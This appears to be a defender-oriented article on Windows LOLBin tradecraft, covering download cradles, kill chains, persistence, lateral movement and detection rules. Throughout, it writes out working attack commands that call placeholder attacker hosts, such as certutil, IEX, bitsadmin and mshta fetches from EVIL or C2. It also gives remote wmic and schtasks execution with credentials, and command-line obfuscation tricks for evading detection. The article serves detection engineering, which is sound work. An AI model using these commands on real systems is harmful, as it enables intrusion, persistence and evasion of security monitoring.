Attacker Tradecraft

The Five LOLBin Attack Patterns

Attackers use LOLBins for five distinct objectives, each mapping to a different phase of the attack lifecycle. Understanding which pattern is in play determines which detection controls apply.

Most real-world LOLBin campaigns use multiple patterns in sequence. An attacker who gains initial access via a phishing attachment will use a download cradle to fetch their implant, an execution proxy to run it, and a persistence mechanism to survive reboots. Detecting any single step breaks the chain. Detecting the pattern across multiple steps is harder to evade.

Execution proxy

An execution proxy uses a trusted Windows binary as a wrapper to run attacker code. The most common examples: mshta.exe with a URL or local HTA file, regsvr32.exe loading a remote .sct script (the Squiblydoo technique, named for the LOLBAS project entry), rundll32.exe calling an exported function from a dropped DLL, and installutil.exe running C# code via the InstallUtil serialization callback. In every case, the binary that appears in process logs is a signed Windows tool, not the attacker's code.

Download cradle

A download cradle fetches attacker-controlled content from a remote server. It is almost always the first action after initial access. The tool used determines how the download appears in network and process logs, which is why attackers choose carefully based on what detection controls exist in the target environment.

Reconnaissance burst

Post-compromise reconnaissance typically happens fast. An attacker who has just popped a shell runs ten to twenty discovery commands in rapid succession to understand the environment: domain name, current user and group membership, running processes, network configuration, and installed software. The burst pattern itself is a detection signal, regardless of which specific binaries are used. A parent process spawning nltest, whoami, net group, and systeminfo within thirty seconds is anomalous regardless of what spawned the parent.

Download Cradles in Depth

A download cradle fetches a remote resource for execution. It is the most common first post-access action after a foothold is established, and it determines whether a malicious file ever touches disk. The choice of cradle affects detection difficulty, evasion potential, and what forensic artifacts remain.

certutil

certutil.exe -urlcache -split -f http://EVIL/p.exe C:\Temp\p.exe

certutil was designed for certificate management. The -urlcache flag is a legitimate feature for caching certificate revocation data. Attackers discovered it also downloads arbitrary files. This technique is well-known, widely detected, and generates a persistent URL cache entry that survives the download. Despite its age, it still appears in commodity malware because many environments lack the detection coverage to catch it.

PowerShell WebClient (file to disk)

(New-Object Net.WebClient).DownloadFile('http://EVIL/p.exe','C:\Temp\p.exe')

Writes the downloaded content to disk. File-based AV can scan the result. Script Block Logging captures the PowerShell command. Slightly harder to detect than certutil because the network activity comes from powershell.exe rather than a certificate utility, which is more plausible as legitimate traffic.

PowerShell in-memory (IEX)

IEX (New-Object Net.WebClient).DownloadString('http://EVIL/p.ps1')

Nothing is written to disk. The script content exists only in memory. File-based AV cannot scan it. Script Block Logging captures it, but only if GPO is configured. This is the highest-risk download cradle for environments without PowerShell logging enabled.

BITS via bitsadmin

bitsadmin /transfer job /download /priority normal http://EVIL/p.exe C:\Temp\p.exe

Background Intelligent Transfer Service performs the download asynchronously. Downloads blend into Windows Update traffic. The BITS job persists in the BITS queue database, creating a forensic artifact but also making the download harder to attribute in real time.

msiexec remote

msiexec /q /i http://EVIL/payload.msi

msiexec fetches and installs a remote MSI package silently. The /q flag suppresses all UI. The installation can run arbitrary custom actions, execute scripts, and drop files, all under the context of a signed Windows binary performing what looks like a software installation.

Evasion variations

Attackers modify standard download cradle patterns to evade specific detections. certutil with -decode downloads a base64-encoded text file, which reaches a clean URL, then decodes it locally to produce the binary payload. BITS with /SetCustomHeaders injects HTTP headers that blend the request with normal enterprise traffic patterns. PowerShell using the system proxy (-Proxy ([System.Net.WebRequest]::GetSystemWebProxy())) ensures the download routes through enterprise proxy infrastructure, bypassing direct-connection detection rules.

Kill Chains: Chaining LOLBins Together

A single LOLBin detection blocks one step. Real campaigns chain multiple LOLBins across multiple phases. Parent-child chain analysis detects the entire kill chain by identifying anomalous spawn sequences, regardless of which specific binaries are involved.

Chain 1: Phishing email dropper

This chain is among the most common in commodity malware campaigns.

1. Email client opens attachment: The user opens a .vbs or .js file attached to a phishing email. The mail client spawns wscript.exe directly.
2. wscript.exe runs VBS dropper: The VBScript uses XMLHTTP to download a stage-2 binary via certutil or a PowerShell one-liner, saving it to %TEMP%.
3. Stage 2 runs as rundll32 or mshta: The downloaded payload is a DLL invoked via rundll32.exe, or an HTA file run by mshta.exe. Both are trusted Windows binaries.
4. Persistence via schtasks: The implant creates a scheduled task using schtasks.exe with an mshta or wscript action pointing to a remote URL.

Highest-value detection point: Step 1. Email client (Outlook.exe, Thunderbird.exe) spawning wscript.exe is almost never legitimate. This parent-child relationship is a near-certain indicator of malicious activity and should be a high-confidence alert.

Chain 2: Office macro

Office macros remain a dominant initial access vector despite decades of mitigations.

1. winword.exe opens malicious document: The user enables macros. The VBA macro runs.
2. winword.exe spawns cmd.exe: The macro calls Shell to run a cmd command. This is the anomalous parent-child relationship.
3. cmd.exe runs PowerShell download cradle: powershell -enc [encoded IEX cradle]. The payload is fetched from a C2 server and executed in memory.
4. certutil downloads implant: As a fallback or alternative, certutil downloads a binary to %TEMP%.
5. schtasks creates persistence: A scheduled task with /tr "mshta.exe http://C2/persist.hta" ensures the attacker maintains access through reboots.

Highest-value detection point: Step 2. Office applications spawning cmd.exe, PowerShell, wscript, or certutil directly is a well-established detection rule and blocks the chain before any payload executes.

Chain 3: HTML smuggling

HTML smuggling bypasses email gateway file-type restrictions by encoding payloads inside HTML rather than attaching them directly.

1. Browser downloads HTML lure page: The user clicks a link or opens an HTML attachment. The page contains embedded JavaScript.
2. JavaScript decodes payload in-browser: The script uses atob() or a custom decoder to reconstruct a binary payload (typically a .hta, .iso, or .zip file) from base64 strings embedded in the HTML.
3. Browser saves decoded file locally: The JavaScript uses the HTML5 Blob API to trigger a file download. The browser saves a .hta or other file to the Downloads folder.
4. mshta.exe executes the HTA: If the saved file is an HTA, double-clicking it launches mshta.exe. Many browsers open certain file types automatically.
5. mshta spawns cmd: The HTA VBScript calls WScript.Shell.Run "cmd /c ...".
6. cmd runs certutil or PowerShell cradle: Stage 2 is fetched and executed.

Highest-value detection point: Step 4. mshta.exe spawned by explorer.exe (from a user double-clicking a file) with an HTA from the Downloads or %TEMP% directory is a high-fidelity indicator. Browser-spawned mshta.exe is even more anomalous.

LOLBin-Based Persistence

The most effective LOLBin persistence techniques share a common property: no malicious file on disk at the point the payload runs. The persistence mechanism (a scheduled task entry or a registry key) exists, but it points to a trusted binary that fetches its payload at execution time from a remote URL. Forensic investigators looking for malware files find nothing.

Scheduled task with scripting engine URL

schtasks /create /tn "WindowsDefenderUpdate" /tr "mshta.exe http://C2/task.hta" /sc daily /st 09:00 /f

This creates a daily scheduled task. When it fires, mshta.exe fetches the current HTA from the C2 server and executes it. The task XML in C:\Windows\System32\Tasks\ is the only artifact on disk. The payload is entirely remote, refreshed each execution. If the C2 server is unavailable, nothing suspicious runs. This technique also allows the attacker to update their payload without touching the target machine.

Registry Run key with mshta URL

A single registry write establishes execution on every user logon:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "mshta.exe https://C2/payload.hta" /f

WMI permanent event subscription (T1546.003)

WMI subscriptions persist entirely within the WMI repository, not as files on the filesystem. The structure requires three components: an event filter (defines the trigger condition, such as user logon or a specific process starting), an event consumer (defines the action, typically running wscript.exe or powershell.exe with an attacker-controlled argument), and a filter-to-consumer binding that connects them.

All three are stored in the WMI repository at %SystemRoot%\System32\wbem\Repository\. Traditional file-based forensics does not find anything suspicious. The persistence survives reboots and reinstallation of most security tools. Detection requires WMI-specific tooling or Sysmon Event IDs 19, 20, and 21 (WmiEvent filter/consumer/binding creation).

BITS persistence

A BITS job can be configured with a notification command that runs when the job completes. An attacker creates a BITS job that downloads a small file from a C2 server and sets /SetNotifyCmdLine to invoke mshta.exe or powershell.exe with the downloaded content. The BITS job persists in the BITS queue and restarts automatically if interrupted.

Detection

Key signals for LOLBin persistence:

• Sysmon EID 1: schtasks.exe with /create and /tr containing mshta, wscript, cscript, powershell, or a URL string
• Registry monitoring: writes to Run/RunOnce keys where the value contains a URL or a scripting engine path followed by unusual arguments
• Sysmon EID 19/20/21: WMI event filter, consumer, and binding creation events. Any WMI CommandLine consumer pointing to wscript or powershell warrants investigation.
• BITS operational log (Microsoft-Windows-Bits-Client/Operational): job creation with unusual transfer URLs

LOLBin-Based Lateral Movement

With valid credentials obtained through earlier stages (credential dumping, pass-the-hash, password spraying), Windows built-in tools provide full lateral movement capability. No additional offensive tooling is required.

WMIC remote process creation (T1047)

wmic /node:TARGETIP /user:DOMAIN\Administrator /password:PASSWORD process call create "cmd.exe /c C:\Windows\Temp\p.exe"

This creates a process on the remote host using WMI. The /node: parameter specifies the target, and the process runs in the SYSTEM context on the remote machine. No additional tools needed beyond wmic.exe, which is a signed Windows binary present on every Windows installation. The command requires valid credentials and network access to the target on port 135 (DCOM/RPC).

Scheduled task on remote host

schtasks /create /s TARGETHOST /tn "Updater" /tr "C:\Windows\Temp\p.exe" /sc once /st 10:00 /u DOMAIN\Administrator /p PASSWORD /f
schtasks /run /s TARGETHOST /tn "Updater"

schtasks with /s REMOTEHOST creates and runs tasks on a remote system over SMB (IPC$). The technique requires valid credentials and SMB access. It creates a scheduled task entry on the remote host, which is a detectable forensic artifact, but the execution itself happens through a trusted Windows binary on both ends.

Detection signals

WMIC lateral movement leaves a consistent trail across source and target:

• Source: Sysmon EID 1 for wmic.exe with /node: argument containing a non-localhost IP or hostname. Filter out /node:localhost and /node:127.0.0.1.
• Source: Windows Security EID 4648 (explicit credential logon) when credentials are specified inline.
• Target: Windows Security EID 4624 (successful logon) with logon type 3 (network logon).
• Target: Windows Security EID 4688 (process creation) showing the spawned process with a parent of WmiPrvSE.exe.

The clearest single indicator is wmic.exe in CommandLine with a /node: value that is not localhost. Workstation-to-workstation authentication patterns in 4648 events are another strong signal, particularly when the authenticating account is a privileged domain account used outside normal administrative systems.

Evasion Techniques in LOLBin Tradecraft

Command-line detection rules typically match string patterns. Binary names, flag names, and URL substrings are common targets. Attackers apply several techniques to corrupt these strings at the command-line level while preserving execution semantics.

Caret insertion

The Windows command interpreter treats the caret (^) as an escape character and strips it before passing the argument to the target process. Inserting carets into binary names and flag names breaks string matching without affecting execution:

cer^tutil.exe -url^cache -split -f h^ttp://evil.com/p.exe C:\Temp\p.exe
po^wer^shell -e^nc BASE64PAYLOAD

String concatenation in PowerShell

PowerShell evaluates string concatenation before the resulting string is used as a method or parameter name. Detection rules matching the literal string DownloadString miss the concatenated form:

$c = New-Object Net.WebClient
$c.('Down'+'loadString')('http://evil.com/p.ps1') | IEX

Environment variable substitution

Windows environment variables resolve to their values before command execution. Substituting binary names with variable references breaks literal string matching:

%COMSPEC% /c certutil -urlcache -f http://evil.com/p.exe C:\Temp\p.exe
%SystemRoot%\System32\certutil.exe -urlcache -f http://evil.com/p.exe C:\Temp\p.exe

Flag abbreviation

Most Windows command-line tools accept abbreviated flag names. Detection rules matching the full flag string miss shortened versions:

powershell -e BASE64         (short for -EncodedCommand)
wmic pro li                  (short for process list)
schtasks /cr /tn "x" /tr "mshta http://C2/p.hta" /sc daily

PPID spoofing

Parent Process ID (PPID) spoofing uses the Windows CreateProcess API with a custom PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to specify a parent process handle different from the actual creating process. The resulting process appears in Sysmon EID 1 and Event ID 4688 logs as if it was spawned by the nominated parent, typically explorer.exe or svchost.exe. Parent-child chain detection rules that look for Office spawning cmd.exe or mshta spawning powershell will not fire because the reported parent is the spoofed one, not the real attacker process.

Detection: Compare the Sysmon-reported parent PID against the actual process ancestry via EDR telemetry that validates call chains through API-level monitoring rather than trusting the reported PID value. Some EDR products specifically detect the attribute injection used for PPID spoofing.

Living off the cloud

A download cradle that fetches from a known-malicious IP or newly registered domain is easy to block. Attackers host payloads on legitimate cloud infrastructure instead: raw GitHub content URLs, SharePoint sites, OneDrive shares, Discord CDN attachment URLs, and Pastebin. certutil and BITS downloads to these destinations appear to reach trusted, categorized domains. Proxy and firewall rules that allow access to GitHub.com or discord.com cannot block this traffic by domain alone. Detection requires inspecting what is being downloaded, not just where it is going, which pushes the detection requirement toward endpoint telemetry (Script Block Logging, process behavior) rather than network controls.

Building resilient detections

The evasion techniques above all target string matching on raw command lines. More resilient approaches:

• Normalize command lines before matching: strip carets, resolve environment variables, expand abbreviations. Some SIEM platforms and EDRs do this automatically.
• Parent-child chain analysis: focus on the relationship between processes rather than individual command lines. Even with PPID spoofing, behavioral anomalies in what the process does after launch remain detectable.
• Network destination enrichment: for cloud-hosted cradles, look at TLS certificate subject, hosting ASN, and domain registration age rather than just the domain name.
• Script Block Logging: not susceptible to command-line obfuscation. The deobfuscated code is what gets logged.